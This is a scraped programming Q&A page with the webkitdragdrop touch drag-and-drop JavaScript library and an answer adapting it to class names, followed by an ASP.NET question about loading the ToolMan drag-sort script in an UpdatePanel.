// webkitdragdrop is freely distributable under the terms of an MIT-style license.
//Description
// Because this library was designed to run without requiring any other libraries, several basic helper functions were implemented
// 6 helper functons in this webkit_tools class have been taked directly from Prototype 1.6.1 (http://prototypejs.org/) (c) 2005-2009 Sam Stephenson
var webkit_tools =
{
//$ function - simply a more robust getElementById
$:function(e)
{
if(typeof(e) == 'string')
{
return document.getElementById(e);
}
return e;
},
//extend function - copies the values of b into a (Shallow copy)
extend:function(a,b)
{
for (var key in b)
{
a[key] = b[key];
}
return a;
},
//empty function - used as defaut for events
empty:function()
{
},
//remove null values from an array
compact:function(a)
{
var b = []
var l = a.length;
for(var i = 0; i < l; i ++)
{
if(a[i] !== null)
{
b.push(a[i]);
}
}
return b;
},
//DESCRIPTION
// This function was taken from the internet (http://robertnyman.com/2006/04/24/get-the-rendered-style-of-an-element/) and returns
// the computed style of an element independantly from the browser
//INPUT
// oELM (DOM ELEMENT) element whose style should be extracted
// strCssRule element
getCalculatedStyle:function(oElm, strCssRule)
{
var strValue = "";
if(document.defaultView && document.defaultView.getComputedStyle){
strValue = document.defaultView.getComputedStyle(oElm, "").getPropertyValue(strCssRule);
}
else if(oElm.currentStyle){
strCssRule = strCssRule.replace(/\-(\w)/g, function (strMatch, p1){
return p1.toUpperCase();
});
strValue = oElm.currentStyle[strCssRule];
}
return strValue;
},
//bindAsEventListener function - used to bind events
bindAsEventListener:function(f,object)
{
var __method = f;
return function(event) {
__method.call(object, event || window.event);
};
},
//cumulative offset - courtesy of Prototype (http://www.prototypejs.org)
cumulativeOffset:function(element)
{
var valueT = 0, valueL = 0;
do {
valueT += element.offsetTop || 0;
valueL += element.offsetLeft || 0;
if (element.offsetParent == document.body)
if (element.style.position == 'absolute') break;
element = element.offsetParent;
} while (element);
return {left : valueL, top : valueT};
},
//getDimensions - courtesy of Prototype (http://www.prototypejs.org)
getDimensions: function(element)
{
var display = element.style.display;
if (display != 'none' && display != null) // Safari bug
return {width: element.offsetWidth, height: element.offsetHeight};
var els = element.style;
var originalVisibility = els.visibility;
var originalPosition = els.position;
var originalDisplay = els.display;
els.visibility = 'hidden';
if (originalPosition != 'fixed') // Switching fixed to absolute causes issues in Safari
els.position = 'absolute';
els.display = 'block';
var originalWidth = element.clientWidth;
var originalHeight = element.clientHeight;
els.display = originalDisplay;
els.position = originalPosition;
els.visibility = originalVisibility;
return {width: originalWidth, height: originalHeight};
},
//hasClassName - courtesy of Prototype (http://www.prototypejs.org)
hasClassName: function(element, className)
{
var elementClassName = element.className;
return (elementClassName.length > 0 && (elementClassName == className ||
new RegExp("(^|\\s)" + className + "(\\s|$)").test(elementClassName)));
},
//addClassName - courtesy of Prototype (http://www.prototypejs.org)
addClassName: function(element, className)
{
if (!this.hasClassName(element, className))
element.className += (element.className ? ' ' : '') + className;
return element;
},
//removeClassName - courtesy of Prototype (http://www.prototypejs.org)
removeClassName: function(element, className)
{
element.className = this.strip(element.className.replace(new RegExp("(^|\\s+)" + className + "(\\s+|$)"), ' '));
return element;
},
//strip - courtesy of Prototype (http://www.prototypejs.org)
strip:function(s)
{
return s.replace(/^\s+/, '').replace(/\s+$/, '');
}
}
//Description
// Droppable fire events when a draggable is dropped on them
var webkit_droppables = function()
{
this.initialize = function()
{
this.droppables = [];
this.droppableRegions = [];
}
this.add = function(root, instance_props)
{
root = webkit_tools.$(root);
var default_props = {accept : [], hoverClass : null, onDrop : webkit_tools.empty, onOver : webkit_tools.empty, onOut : webkit_tools.empty};
default_props = webkit_tools.extend(default_props, instance_props || {});
this.droppables.push({r : root, p : default_props});
}
this.remove = function(root)
{
root = webkit_tools.$(root);
var d = this.droppables;
var i = d.length;
while(i--)
{
if(d[i].r == root)
{
d[i] = null;
this.droppables = webkit_tools.compact(d);
return true;
}
}
return false;
}
//calculate position and size of all droppables
this.prepare = function()
{
var d = this.droppables;
var i = d.length;
var dR = [];
var r = null;
while(i--)
{
r = d[i].r;
if(r.style.display != 'none')
{
dR.push({i : i, size : webkit_tools.getDimensions(r), offset : webkit_tools.cumulativeOffset(r)})
}
}
this.droppableRegions = dR;
}
this.finalize = function(x,y,r,e)
{
var indices = this.isOver(x,y);
var index = this.maxZIndex(indices);
var over = this.process(index,r);
if(over)
{
this.drop(index, r,e);
}
this.process(-1,r);
return over;
}
this.check = function(x,y,r)
{
var indices = this.isOver(x,y);
var index = this.maxZIndex(indices);
return this.process(index,r);
}
this.isOver = function(x, y)
{
var dR = this.droppableRegions;
var i = dR.length;
var active = [];
var r = 0;
var maxX = 0;
var minX = 0;
var maxY = 0;
var minY = 0;
while(i--)
{
r = dR[i];
minY = r.offset.top;
maxY = minY + r.size.height;
if((y > minY) && (y < maxY))
{
minX = r.offset.left;
maxX = minX + r.size.width;
if((x > minX) && (x < maxX))
{
active.push(r.i);
}
}
}
return active;
}
this.maxZIndex = function(indices)
{
var d = this.droppables;
var l = indices.length;
var index = -1;
var maxZ = -100000000;
var curZ = 0;
while(l--)
{
curZ = parseInt(d[indices[l]].r.style.zIndex || 0);
if(curZ > maxZ)
{
maxZ = curZ;
index = indices[l];
}
}
return index;
}
this.process = function(index, draggableRoot)
{
//only perform update if a change has occured
if(this.lastIndex != index)
{
//remove previous
if(this.lastIndex != null)
{
var d = this.droppables[this.lastIndex]
var p = d.p;
var r = d.r;
if(p.hoverClass)
{
webkit_tools.removeClassName(r,p.hoverClass);
}
p.onOut();
this.lastIndex = null;
this.lastOutput = false;
}
//add new
if(index != -1)
{
var d = this.droppables[index]
var p = d.p;
var r = d.r;
if(this.hasClassNames(draggableRoot, p.accept))
{
if(p.hoverClass)
{
webkit_tools.addClassName(r,p.hoverClass);
}
p.onOver();
this.lastIndex = index;
this.lastOutput = true;
}
}
}
return this.lastOutput;
}
this.drop = function(index, r, e)
{
if(index != -1)
{
this.droppables[index].p.onDrop(r,e);
}
}
this.hasClassNames = function(r, names)
{
var l = names.length;
if(l == 0){return true}
while(l--)
{
if(webkit_tools.hasClassName(r,names[l]))
{
return true;
}
}
return false;
}
this.initialize();
}
webkit_drop = new webkit_droppables();
//Description
//webkit draggable - allows users to drag elements with their hands
var webkit_draggable = function(r, ip)
{
this.initialize = function(root, instance_props)
{
this.root = webkit_tools.$(root);
var default_props = {scroll : false, revert : false, handle : this.root, zIndex : 1000, onStart : webkit_tools.empty, onEnd : webkit_tools.empty};
this.p = webkit_tools.extend(default_props, instance_props || {});
default_props.handle = webkit_tools.$(default_props.handle);
this.prepare();
this.bindEvents();
}
this.prepare = function()
{
var rs = this.root.style;
//set position
if(webkit_tools.getCalculatedStyle(this.root,'position') != 'absolute')
{
rs.position = 'relative';
}
//set top, right, bottom, left
rs.top = rs.top || '0px';
rs.left = rs.left || '0px';
rs.right = "";
rs.bottom = "";
//set zindex;
rs.zIndex = rs.zIndex || '0';
}
this.bindEvents = function()
{
var handle = this.p.handle;
this.ts = webkit_tools.bindAsEventListener(this.touchStart, this);
this.tm = webkit_tools.bindAsEventListener(this.touchMove, this);
this.te = webkit_tools.bindAsEventListener(this.touchEnd, this);
handle.addEventListener("touchstart", this.ts, false);
handle.addEventListener("touchmove", this.tm, false);
handle.addEventListener("touchend", this.te, false);
}
this.destroy = function()
{
var handle = this.p.handle;
handle.removeEventListener("touchstart", this.ts);
handle.removeEventListener("touchmove", this.tm);
handle.removeEventListener("touchend", this.te);
}
this.set = function(key, value)
{
this.p[key] = value;
}
this.touchStart = function(event)
{
//prepare needed variables
var p = this.p;
var r = this.root;
var rs = r.style;
var t = event.targetTouches[0];
//get position of touch
touchX = t.pageX;
touchY = t.pageY;
//set base values for position of root
rs.top = this.root.style.top || '0px';
rs.left = this.root.style.left || '0px';
rs.bottom = null;
rs.right = null;
var rootP = webkit_tools.cumulativeOffset(r);
var cp = this.getPosition();
//save event properties
p.rx = cp.x;
p.ry = cp.y;
p.tx = touchX;
p.ty = touchY;
p.z = parseInt(this.root.style.zIndex);
//boost zIndex
rs.zIndex = p.zIndex;
webkit_drop.prepare();
p.onStart();
}
this.touchMove = function(event)
{
event.preventDefault();
event.stopPropagation();
//prepare needed variables
var p = this.p;
var r = this.root;
var rs = r.style;
var t = event.targetTouches[0];
if(t == null){return}
var curX = t.pageX;
var curY = t.pageY;
var delX = curX - p.tx;
var delY = curY - p.ty;
rs.left = p.rx + delX + 'px';
rs.top = p.ry + delY + 'px';
//scroll window
if(p.scroll)
{
s = this.getScroll(curX, curY);
if((s[0] != 0) || (s[1] != 0))
{
window.scrollTo(window.scrollX + s[0], window.scrollY + s[1]);
}
}
//check droppables
webkit_drop.check(curX, curY, r);
//save position for touchEnd
this.lastCurX = curX;
this.lastCurY = curY;
}
this.touchEnd = function(event)
{
var r = this.root;
var p = this.p;
var dropped = webkit_drop.finalize(this.lastCurX, this.lastCurY, r, event);
if(((p.revert) && (!dropped)) || (p.revert === 'always'))
{
//revert root
var rs = r.style;
rs.top = (p.ry + 'px');
rs.left = (p.rx + 'px');
}
r.style.zIndex = this.p.z;
this.p.onEnd();
}
this.getPosition = function()
{
var rs = this.root.style;
return {x : parseInt(rs.left || 0), y : parseInt(rs.top || 0)}
}
this.getScroll = function(pX, pY)
{
//read window variables
var sX = window.scrollX;
var sY = window.scrollY;
var wX = window.innerWidth;
var wY = window.innerHeight;
//set contants
var scroll_amount = 10; //how many pixels to scroll
var scroll_sensitivity = 100; //how many pixels from border to start scrolling from.
var delX = 0;
var delY = 0;
//process vertical y scroll
if(pY - sY < scroll_sensitivity)
{
delY = -scroll_amount;
}
else
if((sY + wY) - pY < scroll_sensitivity)
{
delY = scroll_amount;
}
//process horizontal x scroll
if(pX - sX < scroll_sensitivity)
{
delX = -scroll_amount;
}
else
if((sX + wX) - pX < scroll_sensitivity)
{
delX = scroll_amount;
}
return [delX, delY]
}
//contructor
this.initialize(r, ip);
}
//Description
//webkit_click class. manages click events for draggables
var webkit_click = function(r, ip)
{
this.initialize = function(root, instance_props)
{
var default_props = {onClick : webkit_tools.empty};
this.root = webkit_tools.$(root);
this.p = webkit_tools.extend(default_props, instance_props || {});
this.bindEvents();
}
this.bindEvents = function()
{
var root = this.root;
//bind events to local scope
this.ts = webkit_tools.bindAsEventListener(this.touchStart,this);
this.tm = webkit_tools.bindAsEventListener(this.touchMove,this);
this.te = webkit_tools.bindAsEventListener(this.touchEnd,this);
//add Listeners
root.addEventListener("touchstart", this.ts, false);
root.addEventListener("touchmove", this.tm, false);
root.addEventListener("touchend", this.te, false);
this.bound = true;
}
this.touchStart = function()
{
this.moved = false;
if(this.bound == false)
{
this.root.addEventListener("touchmove", this.tm, false);
this.bound = true;
}
}
this.touchMove = function()
{
this.moved = true;
this.root.removeEventListener("touchmove", this.tm);
this.bound = false;
}
this.touchEnd = function()
{
if(this.moved == false)
{
this.p.onClick();
}
}
this.setEvent = function(f)
{
if(typeof(f) == 'function')
{
this.p.onClick = f;
}
}
this.unbind = function()
{
var root = this.root;
root.removeEventListener("touchstart", this.ts);
root.removeEventListener("touchmove", this.tm);
root.removeEventListener("touchend", this.te);
}
//call constructor
this.initialize(r, ip);
}

If your classnames are unique, the solution is rather simple. You can change the $ function to get by class name instead of by id:
var webkit_tools =
{
//$ function - simply a more robust getElementById
$:function(e)
{
if(typeof(e) == 'string')
{
return document.getElementsByClassName(e)[0];
// return document.getElementById(e);
}
return e;
},
... snipped ...
I've verified the above solution works (dragging and dropping) on my iPhone, but again, if the classnames are not unique, some added work will be in order based on the script's current implementation.
~~~EDIT~~~
In re-reading your request, you state that there will in fact NOT be unique classnames, hence the need for some sort of "bulk" drag/drop functionality. I've modified/extended the framework to support this. You can find the source for the modified version here:
https://gist.github.com/2474416
I had to change the API slightly. The dropabble API is unchanged, so passing a classname will simply add/remove the whole list of elements matching the classname passed. The clickable/draggable API was not so easy. To avoid a harsh rewrite, I updated the initialize methods for draggable/clickable to take an element ref rather than id or classname.
Correspondingly, I added a bulk_draggable(clazzname, options) and bulk_clickable(clazzname, options) function that basically iterates over the matched elements and calls the corresponding initializers. These functions return an array of draggables/clickables (one for each matched element).
Let me know if the "new" API is unclear. I did this rather quickly and lightly tested the happy paths, but can't invest and substantial amount of time rewriting the entire script.

Call .js file in UpdatePanel from CodeBehind

I am have been trying to teach myself ASP.NET and Javascript for a project and have been stuck on one problem for literally dozens of hours now.
I found a really nice javascript drag-and-drop list online, copied the source offered and split the css into a .css file, the javascript into a .js file and the HTML and reference into my asp.net page. It worked perfectly. Great!
Next, I replaced the javascript list with a static HTML list populated with the same data, wrapped it in an UpdatePanel and set up an "edit order" button to swap the static list's HTML for the javascript list's HTML when the button is pressed.
No Dice!
First, the initial runtime would throw up javascript errors explaining that certain objects could not be found. For example:
Microsoft JScript runtime error: Unable to get value of the property 'getElementsByTagName': object is null or undefined
Understood, because the elements aren't actually there yet. So I removed my reference to the .js in the main header and tried to register the .js file when the update panel is changed instead.
This is my problem.
Most explanations online have focused onRegisterClientScriptBlock, or RegisterStartupScript, or RegisterClientScriptInclude, or myLiteral and I can't get any of them to work. I also find that lots of online explanations are for running a single javascript function, whereas the script I am trying to get working has 700 lines-worth of them! Do I have to reference them all individually?
Sorry for the, no doubt, newbish question. I waited to ask until I had shouted at the screen with sufficient vitriol to warrant begging for help!
Thanks and regards.
EDIT: CODE
As Requested, this is the code:
VB.net (this is in a sub called by the button press. This is when I need to register my script)
Dim script As String = ""
Dim Labelb As Label = CType(FindControl("Labelb"), Label)
Dim con As SqlConnection
Dim cmd As SqlCommand
con = New SqlConnection("[connection string here]")
con.Open()
Dim lrd As SqlDataReader
cmd = New SqlCommand("[command string here]", con)
lrd = cmd.ExecuteReader
Dim item = ""
While lrd.Read()
item = item & "<li style=""position: relative;"">" & lrd(1) & "</li>"
End While
lrd.Close()
item = "<table id=""phonetics""><tbody><tr><td><ul id=""phonetic3"" class=""boxy"">" & item & "</ul></td></tr></tbody></table><br/>"
Labelb.Text = item
This is the HTML update panel in the asp.net master page:
<asp:ScriptManager ID="ScriptManager1" runat="server" EnablePartialRendering="true"/>
<asp:UpdatePanel ID="UpdatePanel1" runat="server">
<ContentTemplate>
<asp:Label ID="Labelb" runat="server" Text="" />
</ContentTemplate>
</asp:UpdatePanel>
and finally, this is the .js file that I need to register
var ToolMan = {
events : function() {
if (!ToolMan._eventsFactory) throw "ToolMan Events module isn't loaded";
return ToolMan._eventsFactory
},
css : function() {
if (!ToolMan._cssFactory) throw "ToolMan CSS module isn't loaded";
return ToolMan._cssFactory
},
coordinates : function() {
if (!ToolMan._coordinatesFactory) throw "ToolMan Coordinates module isn't loaded";
return ToolMan._coordinatesFactory
},
drag : function() {
if (!ToolMan._dragFactory) throw "ToolMan Drag module isn't loaded";
return ToolMan._dragFactory
},
dragsort : function() {
if (!ToolMan._dragsortFactory) throw "ToolMan DragSort module isn't loaded";
return ToolMan._dragsortFactory
},
helpers : function() {
return ToolMan._helpers
},
cookies : function() {
if (!ToolMan._cookieOven) throw "ToolMan Cookie module isn't loaded";
return ToolMan._cookieOven
},
junkdrawer : function() {
return ToolMan._junkdrawer
}
}
ToolMan._helpers = {
map : function(array, func) {
for (var i = 0, n = array.length; i < n; i++) func(array[i])
},
nextItem : function(item, nodeName) {
if (item == null) return
var next = item.nextSibling
while (next != null) {
if (next.nodeName == nodeName) return next
next = next.nextSibling
}
return null
},
previousItem : function(item, nodeName) {
var previous = item.previousSibling
while (previous != null) {
if (previous.nodeName == nodeName) return previous
previous = previous.previousSibling
}
return null
},
moveBefore : function(item1, item2) {
var parent = item1.parentNode
parent.removeChild(item1)
parent.insertBefore(item1, item2)
},
moveAfter : function(item1, item2) {
var parent = item1.parentNode
parent.removeChild(item1)
parent.insertBefore(item1, item2 ? item2.nextSibling : null)
}
}
/**
* scripts without a proper home
*
* stuff here is subject to change unapologetically and without warning
*/
ToolMan._junkdrawer = {
serializeList : function(list) {
var items = list.getElementsByTagName("li")
var array = new Array()
for (var i = 0, n = items.length; i < n; i++) {
var item = items[i]
array.push(ToolMan.junkdrawer()._identifier(item))
}
return array.join('|')
},
inspectListOrder : function(id) {
alert(ToolMan.junkdrawer().serializeList(document.getElementById(id)))
},
restoreListOrder : function(listID) {
var list = document.getElementById(listID)
if (list == null) return
var cookie = ToolMan.cookies().get("list-" + listID)
if (!cookie) return;
var IDs = cookie.split('|')
var items = ToolMan.junkdrawer()._itemsByID(list)
for (var i = 0, n = IDs.length; i < n; i++) {
var itemID = IDs[i]
if (itemID in items) {
var item = items[itemID]
list.removeChild(item)
list.insertBefore(item, null)
}
}
},
_identifier : function(item) {
var trim = ToolMan.junkdrawer().trim
var identifier
identifier = trim(item.getAttribute("id"))
if (identifier != null && identifier.length > 0) return identifier;
identifier = trim(item.getAttribute("itemID"))
if (identifier != null && identifier.length > 0) return identifier;
// FIXME: strip out special chars or make this an MD5 hash or something
return trim(item.innerHTML)
},
_itemsByID : function(list) {
var array = new Array()
var items = list.getElementsByTagName('li')
for (var i = 0, n = items.length; i < n; i++) {
var item = items[i]
array[ToolMan.junkdrawer()._identifier(item)] = item
}
return array
},
trim : function(text) {
if (text == null) return null
return text.replace(/^(\s+)?(.*\S)(\s+)?$/, '$2')
}
}
ToolMan._eventsFactory = {
fix : function(event) {
if (!event) event = window.event
if (event.target) {
if (event.target.nodeType == 3) event.target = event.target.parentNode
} else if (event.srcElement) {
event.target = event.srcElement
}
return event
},
register : function(element, type, func) {
if (element.addEventListener) {
element.addEventListener(type, func, false)
} else if (element.attachEvent) {
if (!element._listeners) element._listeners = new Array()
if (!element._listeners[type]) element._listeners[type] = new Array()
var workaroundFunc = function() {
func.apply(element, new Array())
}
element._listeners[type][func] = workaroundFunc
element.attachEvent('on' + type, workaroundFunc)
}
},
unregister : function(element, type, func) {
if (element.removeEventListener) {
element.removeEventListener(type, func, false)
} else if (element.detachEvent) {
if (element._listeners
&& element._listeners[type]
&& element._listeners[type][func]) {
element.detachEvent('on' + type,
element._listeners[type][func])
}
}
}
}
ToolMan._cssFactory = {
readStyle : function(element, property) {
if (element.style[property]) {
return element.style[property]
} else if (element.currentStyle) {
return element.currentStyle[property]
} else if (document.defaultView && document.defaultView.getComputedStyle) {
var style = document.defaultView.getComputedStyle(element, null)
return style.getPropertyValue(property)
} else {
return null
}
}
}
/* FIXME: assumes position styles are specified in 'px' */
ToolMan._coordinatesFactory = {
create : function(x, y) {
// FIXME: Safari won't parse 'throw' and aborts trying to do anything with this file
//if (isNaN(x) || isNaN(y)) throw "invalid x,y: " + x + "," + y
return new _ToolManCoordinate(this, x, y)
},
origin : function() {
return this.create(0, 0)
},
/*
* FIXME: Safari 1.2, returns (0,0) on absolutely positioned elements
*/
topLeftPosition : function(element) {
var left = parseInt(ToolMan.css().readStyle(element, "left"))
var left = isNaN(left) ? 0 : left
var top = parseInt(ToolMan.css().readStyle(element, "top"))
var top = isNaN(top) ? 0 : top
return this.create(left, top)
},
bottomRightPosition : function(element) {
return this.topLeftPosition(element).plus(this._size(element))
},
topLeftOffset : function(element) {
var offset = this._offset(element)
var parent = element.offsetParent
while (parent) {
offset = offset.plus(this._offset(parent))
parent = parent.offsetParent
}
return offset
},
bottomRightOffset : function(element) {
return this.topLeftOffset(element).plus(
this.create(element.offsetWidth, element.offsetHeight))
},
scrollOffset : function() {
if (window.pageXOffset) {
return this.create(window.pageXOffset, window.pageYOffset)
} else if (document.documentElement) {
return this.create(
document.body.scrollLeft + document.documentElement.scrollLeft,
document.body.scrollTop + document.documentElement.scrollTop)
} else if (document.body.scrollLeft >= 0) {
return this.create(document.body.scrollLeft, document.body.scrollTop)
} else {
return this.create(0, 0)
}
},
clientSize : function() {
if (window.innerHeight >= 0) {
return this.create(window.innerWidth, window.innerHeight)
} else if (document.documentElement) {
return this.create(document.documentElement.clientWidth,
document.documentElement.clientHeight)
} else if (document.body.clientHeight >= 0) {
return this.create(document.body.clientWidth,
document.body.clientHeight)
} else {
return this.create(0, 0)
}
},
/**
* mouse coordinate relative to the window (technically the
* browser client area) i.e. the part showing your page
*
* NOTE: in Safari the coordinate is relative to the document
*/
mousePosition : function(event) {
event = ToolMan.events().fix(event)
return this.create(event.clientX, event.clientY)
},
/**
* mouse coordinate relative to the document
*/
mouseOffset : function(event) {
event = ToolMan.events().fix(event)
if (event.pageX >= 0 || event.pageX < 0) {
return this.create(event.pageX, event.pageY)
} else if (event.clientX >= 0 || event.clientX < 0) {
return this.mousePosition(event).plus(this.scrollOffset())
}
},
_size : function(element) {
/* TODO: move to a Dimension class */
return this.create(element.offsetWidth, element.offsetHeight)
},
_offset : function(element) {
return this.create(element.offsetLeft, element.offsetTop)
}
}
function _ToolManCoordinate(factory, x, y) {
this.factory = factory
this.x = isNaN(x) ? 0 : x
this.y = isNaN(y) ? 0 : y
}
_ToolManCoordinate.prototype = {
toString : function() {
return "(" + this.x + "," + this.y + ")"
},
plus : function(that) {
return this.factory.create(this.x + that.x, this.y + that.y)
},
minus : function(that) {
return this.factory.create(this.x - that.x, this.y - that.y)
},
min : function(that) {
return this.factory.create(
Math.min(this.x , that.x), Math.min(this.y , that.y))
},
max : function(that) {
return this.factory.create(
Math.max(this.x , that.x), Math.max(this.y , that.y))
},
constrainTo : function (one, two) {
var min = one.min(two)
var max = one.max(two)
return this.max(min).min(max)
},
distance : function (that) {
return Math.sqrt(Math.pow(this.x - that.x, 2) + Math.pow(this.y - that.y, 2))
},
reposition : function(element) {
element.style["top"] = this.y + "px"
element.style["left"] = this.x + "px"
}
}
ToolMan._dragFactory = {
createSimpleGroup : function(element, handle) {
handle = handle ? handle : element
var group = this.createGroup(element)
group.setHandle(handle)
group.transparentDrag()
group.onTopWhileDragging()
return group
},
createGroup : function(element) {
var group = new _ToolManDragGroup(this, element)
var position = ToolMan.css().readStyle(element, 'position')
if (position == 'static') {
element.style["position"] = 'relative'
} else if (position == 'absolute') {
/* for Safari 1.2 */
ToolMan.coordinates().topLeftOffset(element).reposition(element)
}
// TODO: only if ToolMan.isDebugging()
group.register('draginit', this._showDragEventStatus)
group.register('dragmove', this._showDragEventStatus)
group.register('dragend', this._showDragEventStatus)
return group
},
_showDragEventStatus : function(dragEvent) {
window.status = dragEvent.toString()
},
constraints : function() {
return this._constraintFactory
},
_createEvent : function(type, event, group) {
return new _ToolManDragEvent(type, event, group)
}
}
function _ToolManDragGroup(factory, element) {
this.factory = factory
this.element = element
this._handle = null
this._thresholdDistance = 0
this._transforms = new Array()
// TODO: refactor into a helper object, move into events.js
this._listeners = new Array()
this._listeners['draginit'] = new Array()
this._listeners['dragstart'] = new Array()
this._listeners['dragmove'] = new Array()
this._listeners['dragend'] = new Array()
}
_ToolManDragGroup.prototype = {
/*
* TODO:
* - unregister(type, func)
* - move custom event listener stuff into Event library
* - keyboard nudging of "selected" group
*/
setHandle : function(handle) {
var events = ToolMan.events()
handle.toolManDragGroup = this
events.register(handle, 'mousedown', this._dragInit)
handle.onmousedown = function() { return false }
if (this.element != handle)
events.unregister(this.element, 'mousedown', this._dragInit)
},
register : function(type, func) {
this._listeners[type].push(func)
},
addTransform : function(transformFunc) {
this._transforms.push(transformFunc)
},
verticalOnly : function() {
this.addTransform(this.factory.constraints().vertical())
},
horizontalOnly : function() {
this.addTransform(this.factory.constraints().horizontal())
},
setThreshold : function(thresholdDistance) {
this._thresholdDistance = thresholdDistance
},
transparentDrag : function(opacity) {
var opacity = typeof(opacity) != "undefined" ? opacity : 0.75;
var originalOpacity = ToolMan.css().readStyle(this.element, "opacity")
this.register('dragstart', function(dragEvent) {
var element = dragEvent.group.element
element.style.opacity = opacity
element.style.filter = 'alpha(opacity=' + (opacity * 100) + ')'
})
this.register('dragend', function(dragEvent) {
var element = dragEvent.group.element
element.style.opacity = originalOpacity
element.style.filter = 'alpha(opacity=100)'
})
},
onTopWhileDragging : function(zIndex) {
var zIndex = typeof(zIndex) != "undefined" ? zIndex : 100000;
var originalZIndex = ToolMan.css().readStyle(this.element, "z-index")
this.register('dragstart', function(dragEvent) {
dragEvent.group.element.style.zIndex = zIndex
})
this.register('dragend', function(dragEvent) {
dragEvent.group.element.style.zIndex = originalZIndex
})
},
_dragInit : function(event) {
event = ToolMan.events().fix(event)
var group = document.toolManDragGroup = this.toolManDragGroup
var dragEvent = group.factory._createEvent('draginit', event, group)
group._isThresholdExceeded = false
group._initialMouseOffset = dragEvent.mouseOffset
group._grabOffset = dragEvent.mouseOffset.minus(dragEvent.topLeftOffset)
ToolMan.events().register(document, 'mousemove', group._drag)
document.onmousemove = function() { return false }
ToolMan.events().register(document, 'mouseup', group._dragEnd)
group._notifyListeners(dragEvent)
},
_drag : function(event) {
event = ToolMan.events().fix(event)
var coordinates = ToolMan.coordinates()
var group = this.toolManDragGroup
if (!group) return
var dragEvent = group.factory._createEvent('dragmove', event, group)
var newTopLeftOffset = dragEvent.mouseOffset.minus(group._grabOffset)
// TODO: replace with DragThreshold object
if (!group._isThresholdExceeded) {
var distance =
dragEvent.mouseOffset.distance(group._initialMouseOffset)
if (distance < group._thresholdDistance) return
group._isThresholdExceeded = true
group._notifyListeners(
group.factory._createEvent('dragstart', event, group))
}
for (i in group._transforms) {
var transform = group._transforms[i]
newTopLeftOffset = transform(newTopLeftOffset, dragEvent)
}
var dragDelta = newTopLeftOffset.minus(dragEvent.topLeftOffset)
var newTopLeftPosition = dragEvent.topLeftPosition.plus(dragDelta)
newTopLeftPosition.reposition(group.element)
dragEvent.transformedMouseOffset = newTopLeftOffset.plus(group._grabOffset)
group._notifyListeners(dragEvent)
var errorDelta = newTopLeftOffset.minus(coordinates.topLeftOffset(group.element))
if (errorDelta.x != 0 || errorDelta.y != 0) {
coordinates.topLeftPosition(group.element).plus(errorDelta).reposition(group.element)
}
},
_dragEnd : function(event) {
event = ToolMan.events().fix(event)
var group = this.toolManDragGroup
var dragEvent = group.factory._createEvent('dragend', event, group)
group._notifyListeners(dragEvent)
this.toolManDragGroup = null
ToolMan.events().unregister(document, 'mousemove', group._drag)
document.onmousemove = null
ToolMan.events().unregister(document, 'mouseup', group._dragEnd)
},
_notifyListeners : function(dragEvent) {
var listeners = this._listeners[dragEvent.type]
for (i in listeners) {
listeners[i](dragEvent)
}
}
}
function _ToolManDragEvent(type, event, group) {
this.type = type
this.group = group
this.mousePosition = ToolMan.coordinates().mousePosition(event)
this.mouseOffset = ToolMan.coordinates().mouseOffset(event)
this.transformedMouseOffset = this.mouseOffset
this.topLeftPosition = ToolMan.coordinates().topLeftPosition(group.element)
this.topLeftOffset = ToolMan.coordinates().topLeftOffset(group.element)
}
_ToolManDragEvent.prototype = {
toString : function() {
return "mouse: " + this.mousePosition + this.mouseOffset + " " +
"xmouse: " + this.transformedMouseOffset + " " +
"left,top: " + this.topLeftPosition + this.topLeftOffset
}
}
ToolMan._dragFactory._constraintFactory = {
vertical : function() {
return function(coordinate, dragEvent) {
var x = dragEvent.topLeftOffset.x
return coordinate.x != x
? coordinate.factory.create(x, coordinate.y)
: coordinate
}
},
horizontal : function() {
return function(coordinate, dragEvent) {
var y = dragEvent.topLeftOffset.y
return coordinate.y != y
? coordinate.factory.create(coordinate.x, y)
: coordinate
}
}
}
ToolMan._dragsortFactory = {
makeSortable : function(item) {
var group = ToolMan.drag().createSimpleGroup(item)
group.register('dragstart', this._onDragStart)
group.register('dragmove', this._onDragMove)
group.register('dragend', this._onDragEnd)
return group
},
/**
* Iterates over a list's items, making them sortable, applying
* optional functions to each item.
*
* example: makeListSortable(myList, myFunc1, myFunc2, ... , myFuncN)
*/
makeListSortable : function(list) {
var helpers = ToolMan.helpers()
var coordinates = ToolMan.coordinates()
var items = list.getElementsByTagName("li")
helpers.map(items, function(item) {
var dragGroup = dragsort.makeSortable(item)
dragGroup.setThreshold(4)
var min, max
dragGroup.addTransform(function(coordinate, dragEvent) {
return coordinate.constrainTo(min, max)
})
dragGroup.register('dragstart', function() {
var items = list.getElementsByTagName("li")
min = max = coordinates.topLeftOffset(items[0])
for (var i = 1, n = items.length; i < n; i++) {
var offset = coordinates.topLeftOffset(items[i])
min = min.min(offset)
max = max.max(offset)
}
})
})
for (var i = 1, n = arguments.length; i < n; i++)
helpers.map(items, arguments[i])
},
_onDragStart : function(dragEvent) {
},
_onDragMove : function(dragEvent) {
var helpers = ToolMan.helpers()
var coordinates = ToolMan.coordinates()
var item = dragEvent.group.element
var xmouse = dragEvent.transformedMouseOffset
var moveTo = null
var previous = helpers.previousItem(item, item.nodeName)
while (previous != null) {
var bottomRight = coordinates.bottomRightOffset(previous)
if (xmouse.y <= bottomRight.y && xmouse.x <= bottomRight.x) {
moveTo = previous
}
previous = helpers.previousItem(previous, item.nodeName)
}
if (moveTo != null) {
helpers.moveBefore(item, moveTo)
return
}
var next = helpers.nextItem(item, item.nodeName)
while (next != null) {
var topLeft = coordinates.topLeftOffset(next)
if (topLeft.y <= xmouse.y && topLeft.x <= xmouse.x) {
moveTo = next
}
next = helpers.nextItem(next, item.nodeName)
}
if (moveTo != null) {
helpers.moveBefore(item, helpers.nextItem(moveTo, item.nodeName))
return
}
},
_onDragEnd : function(dragEvent) {
ToolMan.coordinates().create(0, 0).reposition(dragEvent.group.element)
}
}
ToolMan._cookieOven = {
set : function(name, value, expirationInDays) {
if (expirationInDays) {
var date = new Date()
date.setTime(date.getTime() + (expirationInDays * 24 * 60 * 60 * 1000))
var expires = "; expires=" + date.toGMTString()
} else {
var expires = ""
}
document.cookie = name + "=" + value + expires + "; path=/"
},
get : function(name) {
var namePattern = name + "="
var cookies = document.cookie.split(';')
for(var i = 0, n = cookies.length; i < n; i++) {
var c = cookies[i]
while (c.charAt(0) == ' ') c = c.substring(1, c.length)
if (c.indexOf(namePattern) == 0)
return c.substring(namePattern.length, c.length)
}
return null
},
eraseCookie : function(name) {
createCookie(name, "", -1)
}
}
var dragsort = ToolMan.dragsort()
